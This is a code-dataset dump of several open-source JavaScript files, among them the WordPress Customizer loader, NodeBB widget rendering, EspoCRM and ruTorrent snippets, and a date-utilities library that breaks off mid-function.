code
stringlengths
2
1.05M
repo_name
stringlengths
5
114
path
stringlengths
4
991
language
stringclasses
1 value
license
stringclasses
15 values
size
int32
2
1.05M
/* global _wpCustomizeLoaderSettings, confirm */ window.wp = window.wp || {}; (function( exports, $ ){ var api = wp.customize, Loader; $.extend( $.support, { history: !! ( window.history && history.pushState ), hashchange: ('onhashchange' in window) && (document.documentMode === undefined || document.documentMode > 7) }); /** * Allows the Customizer to be overlayed on any page. * * By default, any element in the body with the load-customize class will open * an iframe overlay with the URL specified. * * e.g. <a class="load-customize" href="<?php echo wp_customize_url(); ?>">Open customizer</a> * * @augments wp.customize.Events */ Loader = $.extend( {}, api.Events, { /** * Setup the Loader; triggered on document#ready. */ initialize: function() { this.body = $( document.body ); // Ensure the loader is supported. // Check for settings, postMessage support, and whether we require CORS support. if ( ! Loader.settings || ! $.support.postMessage || ( ! $.support.cors && Loader.settings.isCrossDomain ) ) { return; } this.window = $( window ); this.element = $( '<div id="customize-container" />' ).appendTo( this.body ); // Bind events for opening and closing the overlay. this.bind( 'open', this.overlay.show ); this.bind( 'close', this.overlay.hide ); // Any element in the body with the `load-customize` class opens // the Customizer. $('#wpbody').on( 'click', '.load-customize', function( event ) { event.preventDefault(); // Store a reference to the link that opened the customizer. Loader.link = $(this); // Load the theme. Loader.open( Loader.link.attr('href') ); }); // Add navigation listeners. if ( $.support.history ) { this.window.on( 'popstate', Loader.popstate ); } if ( $.support.hashchange ) { this.window.on( 'hashchange', Loader.hashchange ); this.window.triggerHandler( 'hashchange' ); } }, popstate: function( e ) { var state = e.originalEvent.state; if ( state && state.customize ) { Loader.open( state.customize ); } else if ( Loader.active ) { Loader.close(); } }, hashchange: function() { var hash = window.location.toString().split('#')[1]; if ( hash && 0 === hash.indexOf( 'wp_customize=on' ) ) { Loader.open( Loader.settings.url + '?' + hash ); } if ( ! hash && ! $.support.history ){ Loader.close(); } }, beforeunload: function () { if ( ! Loader.saved() ) { return Loader.settings.l10n.saveAlert; } }, /** * Open the customizer overlay for a specific URL. * * @param string src URL to load in the Customizer. */ open: function( src ) { if ( this.active ) { return; } // Load the full page on mobile devices. if ( Loader.settings.browser.mobile ) { return window.location = src; } this.active = true; this.body.addClass('customize-loading'); // Dirty state of customizer in iframe this.saved = new api.Value( true ); this.iframe = $( '<iframe />', { src: src }).appendTo( this.element ); this.iframe.one( 'load', this.loaded ); // Create a postMessage connection with the iframe. this.messenger = new api.Messenger({ url: src, channel: 'loader', targetWindow: this.iframe[0].contentWindow }); // Wait for the connection from the iframe before sending any postMessage events. this.messenger.bind( 'ready', function() { Loader.messenger.send( 'back' ); }); this.messenger.bind( 'close', function() { if ( $.support.history ) { history.back(); } else if ( $.support.hashchange ) { window.location.hash = ''; } else { Loader.close(); } } ); // Prompt AYS dialog when navigating away $( window ).on( 'beforeunload', this.beforeunload ); this.messenger.bind( 'activated', function( location ) { if ( location ) { window.location = location; } }); this.messenger.bind( 'saved', function () { Loader.saved( true ); } ); this.messenger.bind( 'change', function () { Loader.saved( false ); } ); this.pushState( src ); this.trigger( 'open' ); }, pushState: function ( src ) { var hash; // Ensure we don't call pushState if the user hit the forward button. if ( $.support.history && window.location.href !== src ) { history.pushState( { customize: src }, '', src ); } else if ( ! $.support.history && $.support.hashchange && hash ) { hash = src.split( '?' )[1]; window.location.hash = 'wp_customize=on&' + hash; } }, /** * Callback after the customizer has been opened. */ opened: function() { Loader.body.addClass( 'customize-active full-overlay-active' ); }, /** * Close the Customizer overlay and return focus to the link that opened it. */ close: function() { if ( ! this.active ) { return; } // Display AYS dialog if customizer is dirty if ( ! this.saved() && ! confirm( Loader.settings.l10n.saveAlert ) ) { // Go forward since Customizer is exited by history.back() history.forward(); return; } this.active = false; this.trigger( 'close' ); // Return focus to link that was originally clicked. if ( this.link ) { this.link.focus(); } }, /** * Callback after the customizer has been closed. */ closed: function() { Loader.iframe.remove(); Loader.messenger.destroy(); Loader.iframe = null; Loader.messenger = null; Loader.saved = null; Loader.body.removeClass( 'customize-active full-overlay-active' ).removeClass( 'customize-loading' ); $( window ).off( 'beforeunload', Loader.beforeunload ); }, /** * Callback for the `load` event on the Customizer iframe. */ loaded: function() { Loader.body.removeClass('customize-loading'); }, /** * Overlay hide/show utility methods. */ overlay: { show: function() { this.element.fadeIn( 200, Loader.opened ); }, hide: function() { this.element.fadeOut( 200, Loader.closed ); } } }); // Bootstrap the Loader on document#ready. $( function() { Loader.settings = _wpCustomizeLoaderSettings; Loader.initialize(); }); // Expose the API publicly on window.wp.customize.Loader api.Loader = Loader; })( wp, jQuery );
10fish/WordPress
wp-includes/js/customize-loader.js
JavaScript
gpl-2.0
6,312
define(["wc/dom/event", "wc/dom/initialise", "wc/dom/Widget"], function(event, initialise, Widget) { "use strict"; /** * Provide a mechanism to allow any submit button to be deemed the default button of a form or even a section of a form * or even a specific input element. The default button is the submitting control of a form which is invoked when the * user hits the ENTER key in a submitting input element. * * NOTE: we insist that button elements (of type submit) have a value attribute. * * @module * @requires module:wc/dom/event * @requires module:wc/dom/initialise * @requires module:wc/dom/Widget */ var instance; /** * @constructor * @alias module:wc/dom/defaultSubmit~DefaultSubmit * @private */ function DefaultSubmit() { var INPUT_WD = new Widget("input"), FILE_WD = INPUT_WD.extend("", {"type": "file"}), SUBMIT_CONTROL_WD = new Widget("button", "", {"type": "submit"}), SUBMITTER = new Widget("", "", {"data-wc-submit": null}), SUBMIT_ATTRIB = "data-wc-submit", SELECT_WD; /** * Initialise default sumit finctinality by wiring up focus listeners which will lazily attach other * required listeners later. * @function module:wc/dom/defaultSubmit.initialise * @public * @param {Element} element document.body */ this.initialise = function(element) { event.add(element, "keypress", keyEvent, -1); }; /** * Event listener for keypress event. Used to determine the correct submit button to use as the form submit * based on the form submit or the over-ridden defaultSubmit of the input. * @function * @private * @param {Event} $event the keypress event. */ function keyEvent($event) { var keyCode = $event.keyCode, element = $event.target, correctSubmit; if (!$event.defaultPrevented && keyCode === KeyEvent.DOM_VK_RETURN && element.form && isPotentialSubmitter(element)) { if ((correctSubmit = findCorrectSubmit(element))) { $event.preventDefault(); event.fire(correctSubmit, "click"); } } } /** * Determine if an element has a default submit behaviour. * @function * @private * @param {Element} element The 'submitting' element. */ function isPotentialSubmitter(element) { SELECT_WD = SELECT_WD || new Widget("select"); if (SELECT_WD.isOneOfMe(element)) { return true; } return (INPUT_WD.isOneOfMe(element) && !FILE_WD.isOneOfMe(element)); } /** * Find the correct submit button to "click" when the ENTER key is pressed on element. * NOTE: we do not need this if the element is not in a form * @param {Element} element A form control element. * @returns {Element} The default submit for the element which may be the form's regular submit button. */ function findCorrectSubmit(element) { var result, form = element.form, submitId, container; if (form && !(result = SUBMIT_CONTROL_WD.findAncestor(element))) { submitId = element.getAttribute(SUBMIT_ATTRIB); if (!submitId && (container = SUBMITTER.findAncestor(element))) { submitId = container.getAttribute(SUBMIT_ATTRIB); } if (submitId) { result = document.getElementById(submitId); } else if (form) { result = SUBMIT_CONTROL_WD.findDescendant(form); } } return result; } } instance = new DefaultSubmit(); initialise.register(instance); return instance; });
bordertechorg/wcomponents
wcomponents-theme/src/main/js/wc/ui/defaultSubmit.js
JavaScript
gpl-3.0
3,488
'use strict'; const winston = require('winston'); const _ = require('lodash'); const Benchpress = require('benchpressjs'); const plugins = require('../plugins'); const groups = require('../groups'); const translator = require('../translator'); const db = require('../database'); const apiController = require('../controllers/api'); const meta = require('../meta'); const widgets = module.exports; widgets.render = async function (uid, options) { if (!options.template) { throw new Error('[[error:invalid-data]]'); } const data = await widgets.getWidgetDataForTemplates(['global', options.template]); delete data.global.drafts; const locations = _.uniq(Object.keys(data.global).concat(Object.keys(data[options.template]))); const widgetData = await Promise.all(locations.map(location => renderLocation(location, data, uid, options))); const returnData = {}; locations.forEach((location, i) => { if (Array.isArray(widgetData[i]) && widgetData[i].length) { returnData[location] = widgetData[i].filter(Boolean); } }); return returnData; }; async function renderLocation(location, data, uid, options) { const widgetsAtLocation = (data[options.template][location] || []).concat(data.global[location] || []); if (!widgetsAtLocation.length) { return []; } const renderedWidgets = await Promise.all(widgetsAtLocation.map(widget => renderWidget(widget, uid, options))); return renderedWidgets; } async function renderWidget(widget, uid, options) { if (!widget || !widget.data || (!!widget.data['hide-mobile'] && options.req.useragent.isMobile)) { return; } const isVisible = await widgets.checkVisibility(widget.data, uid); if (!isVisible) { return; } let config = options.res.locals.config || {}; if (options.res.locals.isAPI) { config = await apiController.loadConfig(options.req); } const userLang = config.userLang || meta.config.defaultLang || 'en-GB'; const templateData = _.assign({ }, options.templateData, { config: config }); const data = await plugins.hooks.fire(`filter:widget.render:${widget.widget}`, { uid: uid, area: options, templateData: templateData, data: widget.data, req: options.req, res: options.res, }); if (!data) { return; } let { html } = data; if (widget.data.container && widget.data.container.match('{body}')) { html = await Benchpress.compileRender(widget.data.container, { title: widget.data.title, body: html, template: data.templateData && data.templateData.template, }); } if (html) { html = await translator.translate(html, userLang); } return { html }; } widgets.checkVisibility = async function (data, uid) { let isVisible = true; let isHidden = false; if (data.groups.length) { isVisible = await groups.isMemberOfAny(uid, data.groups); } if (data.groupsHideFrom.length) { isHidden = await groups.isMemberOfAny(uid, data.groupsHideFrom); } return isVisible && !isHidden; }; widgets.getWidgetDataForTemplates = async function (templates) { const keys = templates.map(tpl => `widgets:${tpl}`); const data = await db.getObjects(keys); const returnData = {}; templates.forEach((template, index) => { returnData[template] = returnData[template] || {}; const templateWidgetData = data[index] || {}; const locations = Object.keys(templateWidgetData); locations.forEach((location) => { if (templateWidgetData && templateWidgetData[location]) { try { returnData[template][location] = parseWidgetData(templateWidgetData[location]); } catch (err) { winston.error(`can not parse widget data. template: ${template} location: ${location}`); returnData[template][location] = []; } } else { returnData[template][location] = []; } }); }); return returnData; }; widgets.getArea = async function (template, location) { const result = await db.getObjectField(`widgets:${template}`, location); if (!result) { return []; } return parseWidgetData(result); }; function parseWidgetData(data) { const widgets = JSON.parse(data); widgets.forEach((widget) => { if (widget) { widget.data.groups = widget.data.groups || []; if (widget.data.groups && !Array.isArray(widget.data.groups)) { widget.data.groups = [widget.data.groups]; } widget.data.groupsHideFrom = widget.data.groupsHideFrom || []; if (widget.data.groupsHideFrom && !Array.isArray(widget.data.groupsHideFrom)) { widget.data.groupsHideFrom = [widget.data.groupsHideFrom]; } } }); return widgets; } widgets.setArea = async function (area) { if (!area.location || !area.template) { throw new Error('Missing location and template data'); } await db.setObjectField(`widgets:${area.template}`, area.location, JSON.stringify(area.widgets)); }; widgets.setAreas = async function (areas) { const templates = {}; areas.forEach((area) => { if (!area.location || !area.template) { throw new Error('Missing location and template data'); } templates[area.template] = templates[area.template] || {}; templates[area.template][area.location] = JSON.stringify(area.widgets); }); await db.setObjectBulk( Object.keys(templates).map(tpl => [`widgets:${tpl}`, templates[tpl]]) ); }; widgets.reset = async function () { const defaultAreas = [ { name: 'Draft Zone', template: 'global', location: 'header' }, { name: 'Draft Zone', template: 'global', location: 'footer' }, { name: 'Draft Zone', template: 'global', location: 'sidebar' }, ]; const [areas, drafts] = await Promise.all([ plugins.hooks.fire('filter:widgets.getAreas', defaultAreas), widgets.getArea('global', 'drafts'), ]); let saveDrafts = drafts || []; for (const area of areas) { /* eslint-disable no-await-in-loop */ const areaData = await widgets.getArea(area.template, area.location); saveDrafts = saveDrafts.concat(areaData); area.widgets = []; await widgets.setArea(area); } await widgets.setArea({ template: 'global', location: 'drafts', widgets: saveDrafts, }); }; widgets.resetTemplate = async function (template) { const area = await db.getObject(`widgets:${template}.tpl`); const toBeDrafted = _.flatMap(Object.values(area), value => JSON.parse(value)); await db.delete(`widgets:${template}.tpl`); let draftWidgets = await db.getObjectField('widgets:global', 'drafts'); draftWidgets = JSON.parse(draftWidgets).concat(toBeDrafted); await db.setObjectField('widgets:global', 'drafts', JSON.stringify(draftWidgets)); }; widgets.resetTemplates = async function (templates) { for (const template of templates) { /* eslint-disable no-await-in-loop */ await widgets.resetTemplate(template); } }; require('../promisify')(widgets);
NodeBB/NodeBB
src/widgets/index.js
JavaScript
gpl-3.0
6,637
/************************************************************************ * This file is part of EspoCRM. * * EspoCRM - Open Source CRM application. * Copyright (C) 2014-2015 Yuri Kuznetsov, Taras Machyshyn, Oleksiy Avramenko * Website: http://www.espocrm.com * * EspoCRM is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * EspoCRM is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with EspoCRM. If not, see http://www.gnu.org/licenses/. ************************************************************************/ Espo.define('Crm:Views.Call.Record.Detail', 'Views.Record.Detail', function (Dep) { return Dep.extend({ duplicateAction: true, setup: function () { Dep.prototype.setup.call(this); if (this.getAcl().checkModel(this.model, 'edit')) { if (['Held', 'Not Held'].indexOf(this.model.get('status')) == -1) { this.dropdownItemList.push({ 'label': 'Set Held', 'name': 'setHeld' }); this.dropdownItemList.push({ 'label': 'Set Not Held', 'name': 'setNotHeld' }); } } }, actionSetHeld: function () { this.model.save({ status: 'Held' }, { patch: true, success: function () { Espo.Ui.success(this.translate('Saved')); this.removeButton('setHeld'); this.removeButton('setNotHeld'); }.bind(this), }); }, actionSetNotHeld: function () { this.model.save({ status: 'Not Held' }, { patch: true, success: function () { Espo.Ui.success(this.translate('Saved')); this.removeButton('setHeld'); this.removeButton('setNotHeld'); }.bind(this), }); }, }); });
catataw/espocrm
frontend/client/modules/crm/src/views/call/record/detail.js
JavaScript
gpl-3.0
2,618
/* * PLUGIN ERASEDATA * * Spanish language file. * * Author: */ theUILang.Rem_torrents_content_prompt = "Do you really want to remove the selected torrent(s)? WARNING: This will delete torrent's content."; theUILang.Delete_data_with_path = "Delete Path"; theUILang.Rem_torrents_with_path_prompt = "Do you really want to remove the selected torrent(s)? WARNING: This will delete all files in this torrent's current directory."; thePlugins.get("erasedata").langLoaded();
Rapiddot/ruTorrent
plugins/erasedata/lang/es.js
JavaScript
gpl-3.0
485
/* * Utilities: A classic collection of JavaScript utilities * Copyright 2112 Matthew Eernisse (mde@fleegix.org) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ var string = require('./string') , date , log = require('./log'); /** @name date @namespace date */ date = new (function () { var _this = this , _date = new Date(); var _US_DATE_PAT = /^(\d{1,2})(?:\-|\/|\.)(\d{1,2})(?:\-|\/|\.)(\d{4})/; var _DATETIME_PAT = /^(\d{4})(?:\-|\/|\.)(\d{1,2})(?:\-|\/|\.)(\d{1,2})(?:T| )?(\d{2})?(?::)?(\d{2})?(?::)?(\d{2})?(?:\.)?(\d+)?(?: *)?(Z|[+-]\d{4}|[+-]\d{2}:\d{2}|[+-]\d{2})?/; // TODO Add am/pm parsing instead of dumb, 24-hour clock. var _TIME_PAT = /^(\d{1,2})?(?::)?(\d{2})?(?::)?(\d{2})?(?:\.)?(\d+)?$/; var _dateMethods = [ 'FullYear' , 'Month' , 'Date' , 'Hours' , 'Minutes' , 'Seconds' , 'Milliseconds' ]; var _isArray = function (obj) { return obj && typeof obj === 'object' && typeof obj.length === 'number' && typeof obj.splice === 'function' && !(obj.propertyIsEnumerable('length')); }; this.weekdayLong = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday']; this.weekdayShort = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']; this.monthLong = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']; this.monthShort = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; this.meridiem = { 'AM': 'AM', 'PM': 'PM' } // compat this.meridian = this.meridiem /** @name date#supportedFormats @public @object @description List of supported strftime formats */ this.supportedFormats = { // abbreviated weekday name according to the current locale 'a': function (dt) { return _this.weekdayShort[dt.getDay()]; }, // full weekday name according to the current locale 'A': function (dt) { return _this.weekdayLong[dt.getDay()]; }, // abbreviated month name according to the current locale 'b': function (dt) { return _this.monthShort[dt.getMonth()]; }, 'h': function (dt) { return _this.strftime(dt, '%b'); }, // full month name according to the current locale 'B': function (dt) { return _this.monthLong[dt.getMonth()]; }, // preferred date and time representation for the current locale 'c': function (dt) { return _this.strftime(dt, '%a %b %d %T %Y'); }, // century number (the year divided by 100 and truncated // to an integer, range 00 to 99) 'C': function (dt) { return _this.calcCentury(dt.getFullYear());; }, // day of the month as a decimal number (range 01 to 31) 'd': function (dt) { return string.lpad(dt.getDate(), '0', 2); }, // same as %m/%d/%y 'D': function (dt) { return _this.strftime(dt, '%m/%d/%y') }, // day of the month as a decimal number, a single digit is // preceded by a space (range ' 1' to '31') 'e': function (dt) { return string.lpad(dt.getDate(), ' ', 2); }, // month as a decimal number, a single digit is // preceded by a space (range ' 1' to '12') 'f': function () { return _this.strftimeNotImplemented('f'); }, // same as %Y-%m-%d 'F': function (dt) { return _this.strftime(dt, '%Y-%m-%d'); }, // like %G, but without the century. 'g': function () { return _this.strftimeNotImplemented('g'); }, // The 4-digit year corresponding to the ISO week number // (see %V). This has the same format and value as %Y, // except that if the ISO week number belongs to the // previous or next year, that year is used instead. 'G': function () { return _this.strftimeNotImplemented('G'); }, // hour as a decimal number using a 24-hour clock (range // 00 to 23) 'H': function (dt) { return string.lpad(dt.getHours(), '0', 2); }, // hour as a decimal number using a 12-hour clock (range // 01 to 12) 'I': function (dt) { return string.lpad( _this.hrMil2Std(dt.getHours()), '0', 2); }, // day of the year as a decimal number (range 001 to 366) 'j': function (dt) { return string.lpad( _this.calcDays(dt), '0', 3); }, // Hour as a decimal number using a 24-hour clock (range // 0 to 23 (space-padded)) 'k': function (dt) { return string.lpad(dt.getHours(), ' ', 2); }, // Hour as a decimal number using a 12-hour clock (range // 1 to 12 (space-padded)) 'l': function (dt) { return string.lpad( _this.hrMil2Std(dt.getHours()), ' ', 2); }, // month as a decimal number (range 01 to 12) 'm': function (dt) { return string.lpad((dt.getMonth()+1), '0', 2); }, // minute as a decimal number 'M': function (dt) { return string.lpad(dt.getMinutes(), '0', 2); }, // Linebreak 'n': function () { return '\n'; }, // either `am' or `pm' according to the given time value, // or the corresponding strings for the current locale 'p': function (dt) { return _this.getMeridian(dt.getHours()); }, // time in a.m. and p.m. notation 'r': function (dt) { return _this.strftime(dt, '%I:%M:%S %p'); }, // time in 24 hour notation 'R': function (dt) { return _this.strftime(dt, '%H:%M'); }, // second as a decimal number 'S': function (dt) { return string.lpad(dt.getSeconds(), '0', 2); }, // Tab char 't': function () { return '\t'; }, // current time, equal to %H:%M:%S 'T': function (dt) { return _this.strftime(dt, '%H:%M:%S'); }, // weekday as a decimal number [1,7], with 1 representing // Monday 'u': function (dt) { return _this.convertOneBase(dt.getDay()); }, // week number of the current year as a decimal number, // starting with the first Sunday as the first day of the // first week 'U': function () { return _this.strftimeNotImplemented('U'); }, // week number of the year (Monday as the first day of the // week) as a decimal number [01,53]. If the week containing // 1 January has four or more days in the new year, then it // is considered week 1. Otherwise, it is the last week of // the previous year, and the next week is week 1. 'V': function () { return _this.strftimeNotImplemented('V'); }, // week number of the current year as a decimal number, // starting with the first Monday as the first day of the // first week 'W': function () { return _this.strftimeNotImplemented('W'); }, // day of the week as a decimal, Sunday being 0 'w': function (dt) { return dt.getDay(); }, // preferred date representation for the current locale // without the time 'x': function (dt) { return _this.strftime(dt, '%D'); }, // preferred time representation for the current locale // without the date 'X': function (dt) { return _this.strftime(dt, '%T'); }, // year as a decimal number without a century (range 00 to // 99) 'y': function (dt) { return _this.getTwoDigitYear(dt.getFullYear()); }, // year as a decimal number including the century 'Y': function (dt) { return string.lpad(dt.getFullYear(), '0', 4); }, // time zone or name or abbreviation 'z': function () { return _this.strftimeNotImplemented('z'); }, 'Z': function () { return _this.strftimeNotImplemented('Z'); }, // Literal percent char '%': function (dt) { return '%'; } }; /** @name date#getSupportedFormats @public @function @description return the list of formats in a string @return {String} The list of supported formats */ this.getSupportedFormats = function () { var str = ''; for (var i in this.supportedFormats) { str += i; } return str; } this.supportedFormatsPat = new RegExp('%[' + this.getSupportedFormats() + ']{1}', 'g'); /** @name date#strftime @public @function @return {String} The `dt` formated with the given `format` @description Formats the given date with the strftime formated @param {Date} dt the date object to format @param {String} format the format to convert the date to */ this.strftime = function (dt, format) { if (!dt) { return '' } var d = dt; var pats = []; var dts = []; var str = format; var key; // Allow either Date obj or UTC stamp d = typeof dt == 'number' ? new Date(dt) : dt; // Grab all instances of expected formats into array while (pats = this.supportedFormatsPat.exec(format)) { dts.push(pats[0]); } // Process any hits for (var i = 0; i < dts.length; i++) { key = dts[i].replace(/%/, ''); str = str.replace('%' + key, this.supportedFormats[key](d)); } return str; }; this.strftimeNotImplemented = function (s) { throw('this.strftime format "' + s + '" not implemented.'); }; /** @name date#calcCentury @public @function @return {String} The century for the given date @description Find the century for the given `year` @param {Number} year The year to find the century for */ this.calcCentury = function (year) { if(!year) { year = _date.getFullYear(); } var ret = parseInt((year / 100) + 1); year = year.toString(); // If year ends in 00 subtract one, because it's still the century before the one // it divides to if (year.substring(year.length - 2) === '00') { ret--; } return ret.toString(); }; /** @name date#calcDays @public @function @return {Number} The number of days so far for the given date @description Calculate the day number in the year a particular date is on @param {Date} dt The date to use */ this.calcDays = function (dt) { var first = new Date(dt.getFullYear(), 0, 1); var diff = 0; var ret = 0; first = first.getTime(); diff = (dt.getTime() - first); ret = parseInt(((((diff/1000)/60)/60)/24))+1; return ret; }; /** * Adjust from 0-6 base week to 1-7 base week * @param d integer for day of week * @return Integer day number for 1-7 base week */ this.convertOneBase = function (d) { return d == 0 ? 7 : d; }; this.getTwoDigitYear = function (yr) { // Add a millenium to take care of years before the year 1000, // (e.g, the year 7) since we're only taking the last two digits // If we overshoot, it doesn't matter var millenYear = yr + 1000; var str = millenYear.toString(); str = str.substr(2); // Get the last two digits return str }; /** @name date#getMeridiem @public @function @return {String} Return 'AM' or 'PM' based on hour in 24-hour format @description Return 'AM' or 'PM' based on hour in 24-hour format @param {Number} h The hour to check */ this.getMeridiem = function (h) { return h > 11 ? this.meridiem.PM : this.meridiem.AM; }; // Compat this.getMeridian = this.getMeridiem; /** @name date#hrMil2Std @public @function @return {String} Return a 12 hour version of the given time @description Convert a 24-hour formatted hour to 12-hour format @param {String} hour The hour to convert */ this.hrMil2Std = function (hour) { var h = typeof hour == 'number' ? hour : parseInt(hour); var str = h > 12 ? h - 12 : h; str = str == 0 ? 12 : str; return str; }; /** @name date#hrStd2Mil @public @function @return {String} Return a 24 hour version of the given time @description Convert a 12-hour formatted hour with meridian flag to 24-hour format @param {String} hour The hour to convert @param {Boolean} pm hour is PM then this should be true */ this.hrStd2Mil = function (hour, pm) { var h = typeof hour == 'number' ? hour : parseInt(hour); var str = ''; // PM if (pm) { str = h < 12 ? (h+12) : h; } // AM else { str = h == 12 ? 0 : h; } return str; }; // Constants for use in this.add var dateParts = { YEAR: 'year' , MONTH: 'month' , DAY: 'day' , HOUR: 'hour' , MINUTE: 'minute' , SECOND: 'second' , MILLISECOND: 'millisecond' , QUARTER: 'quarter' , WEEK: 'week' , WEEKDAY: 'weekday' }; // Create a map for singular/plural lookup, e.g., day/days var datePartsMap = {}; for (var p in dateParts) { datePartsMap[dateParts[p]] = dateParts[p]; datePartsMap[dateParts[p] + 's'] = dateParts[p]; } this.dateParts = dateParts; /** @name date#add @public @function @return {Date} Incremented date @description Add to a Date in intervals of different size, from milliseconds to years @param {Date} dt Date (or timestamp Number), date to increment @param {String} interv a constant representing the interval, e.g. YEAR, MONTH, DAY. See this.dateParts @param {Number} incr how much to add to the date */ this.add = function (dt, interv, incr) { if (typeof dt == 'number') { dt = new Date(dt); } function fixOvershoot() { if (sum.getDate() < dt.getDate()) { sum.setDate(0); } } var key = datePartsMap[interv]; var sum = new Date(dt); switch (key) { case dateParts.YEAR: sum.setFullYear(dt.getFullYear()+incr); // Keep increment/decrement from 2/29 out of March fixOvershoot(); break; case dateParts.QUARTER: // Naive quarter is just three months incr*=3; // fallthrough... case dateParts.MONTH: sum.setMonth(dt.getMonth()+incr); // Reset to last day of month if you overshoot fixOvershoot(); break; case dateParts.WEEK: incr*=7; // fallthrough... case dateParts.DAY: sum.setDate(dt.getDate() + incr); break; case dateParts.WEEKDAY: //FIXME: assumes Saturday/Sunday weekend, but even this is not fixed. // There are CLDR entries to localize this. var dat = dt.getDate(); var weeks = 0; var days = 0; var strt = 0; var trgt = 0; var adj = 0; // Divide the increment time span into weekspans plus leftover days // e.g., 8 days is one 5-day weekspan / and two leftover days // Can't have zero leftover days, so numbers divisible by 5 get // a days value of 5, and the remaining days make up the number of weeks var mod = incr % 5; if (mod == 0) { days = (incr > 0) ? 5 : -5; weeks = (incr > 0) ? ((incr-5)/5) : ((incr+5)/5); } else { days = mod; weeks = parseInt(incr/5); } // Get weekday value for orig date param strt = dt.getDay(); // Orig date is Sat / positive incrementer // Jump over Sun if (strt == 6 && incr > 0) { adj = 1; } // Orig date is Sun / negative incrementer // Jump back over Sat else if (strt == 0 && incr < 0) { adj = -1; } // Get weekday val for the new date trgt = strt + days; // New date is on Sat or Sun if (trgt == 0 || trgt == 6) { adj = (incr > 0) ? 2 : -2; } // Increment by number of weeks plus leftover days plus // weekend adjustments sum.setDate(dat + (7*weeks) + days + adj); break; case dateParts.HOUR: sum.setHours(sum.getHours()+incr); break; case dateParts.MINUTE: sum.setMinutes(sum.getMinutes()+incr); break; case dateParts.SECOND: sum.setSeconds(sum.getSeconds()+incr); break; case dateParts.MILLISECOND: sum.setMilliseconds(sum.getMilliseconds()+incr); break; default: // Do nothing break; } return sum; // Date }; /** @name date#diff @public @function @return {Number} number of (interv) units apart that the two dates are @description Get the difference in a specific unit of time (e.g., number of months, weeks, days, etc.) between two dates. @param {Date} date1 First date to check @param {Date} date2 Date to compate `date1` with @param {String} interv a constant representing the interval, e.g. YEAR, MONTH, DAY. See this.dateParts */ this.diff = function (date1, date2, interv) { // date1 // Date object or Number equivalent // // date2 // Date object or Number equivalent // // interval // A constant representing the interval, e.g. YEAR, MONTH, DAY. See this.dateParts. // Accept timestamp input if (typeof date1 == 'number') { date1 = new Date(date1); } if (typeof date2 == 'number') { date2 = new Date(date2); } var yeaDiff = date2.getFullYear() - date1.getFullYear(); var monDiff = (date2.getMonth() - date1.getMonth()) + (yeaDiff * 12); var msDiff = date2.getTime() - date1.getTime(); // Millisecs var secDiff = msDiff/1000; var minDiff = secDiff/60; var houDiff = minDiff/60; var dayDiff = houDiff/24; var weeDiff = dayDiff/7; var delta = 0; // Integer return value var key = datePartsMap[interv]; switch (key) { case dateParts.YEAR: delta = yeaDiff; break; case dateParts.QUARTER: var m1 = date1.getMonth(); var m2 = date2.getMonth(); // Figure out which quarter the months are in var q1 = Math.floor(m1/3) + 1; var q2 = Math.floor(m2/3) + 1; // Add quarters for any year difference between the dates q2 += (yeaDiff * 4); delta = q2 - q1; break; case dateParts.MONTH: delta = monDiff; break; case dateParts.WEEK: // Truncate instead of rounding // Don't use Math.floor -- value may be negative delta = parseInt(weeDiff); break; case dateParts.DAY: delta = dayDiff; break; case dateParts.WEEKDAY: var days = Math.round(dayDiff); var weeks = parseInt(days/7); var mod = days % 7; // Even number of weeks if (mod == 0) { days = weeks*5; } else { // Weeks plus spare change (< 7 days) var adj = 0; var aDay = date1.getDay(); var bDay = date2.getDay(); weeks = parseInt(days/7); mod = days % 7; // Mark the date advanced by the number of // round weeks (may be zero) var dtMark = new Date(date1); dtMark.setDate(dtMark.getDate()+(weeks*7)); var dayMark = dtMark.getDay(); // Spare change days -- 6 or less if (dayDiff > 0) { switch (true) { // Range starts on Sat case aDay == 6: adj = -1; break; // Range starts on Sun case aDay == 0: adj = 0; break; // Range ends on Sat case bDay == 6: adj = -1; break; // Range ends on Sun case bDay == 0: adj = -2; break; // Range contains weekend case (dayMark + mod) > 5: adj = -2; break; default: // Do nothing break; } } else if (dayDiff < 0) { switch (true) { // Range starts on Sat case aDay == 6: adj = 0; break; // Range starts on Sun case aDay == 0: adj = 1; break; // Range ends on Sat case bDay == 6: adj = 2; break; // Range ends on Sun case bDay == 0: adj = 1; break; // Range contains weekend case (dayMark + mod) < 0: adj = 2; break; default: // Do nothing break; } } days += adj; days -= (weeks*2); } delta = days; break; case dateParts.HOUR: delta = houDiff; break; case dateParts.MINUTE: delta = minDiff; break; case dateParts.SECOND: delta = secDiff; break; case dateParts.MILLISECOND: delta = msDiff; break; default: // Do nothing break; } // Round for fractional values and DST leaps return Math.round(delta); // Number (integer) }; /** @name date#parse @public @function @return {Date} a JavaScript Date object @description Convert various sorts of strings to JavaScript Date objects @param {String} val The string to convert to a Date */ this.parse = function (val) { var dt , matches , reordered , off , posOff , offHours , offMinutes , offSeconds , curr , stamp , utc; // Yay, we have a date, use it as-is if (val instanceof Date || typeof val.getFullYear == 'function') { dt = val; } // Timestamp? else if (typeof val == 'number') { dt = new Date(val); } // String or Array else { // Value preparsed, looks like [yyyy, mo, dd, hh, mi, ss, ms, (offset?)] if (_isArray(val)) { matches = val; matches.unshift(null); matches[8] = null; } // Oh, crap, it's a string -- parse this bitch else if (typeof val == 'string') { matches = val.match(_DATETIME_PAT); // Stupid US-only format? if (!matches) { matches = val.match(_US_DATE_PAT); if (matches) { reordered = 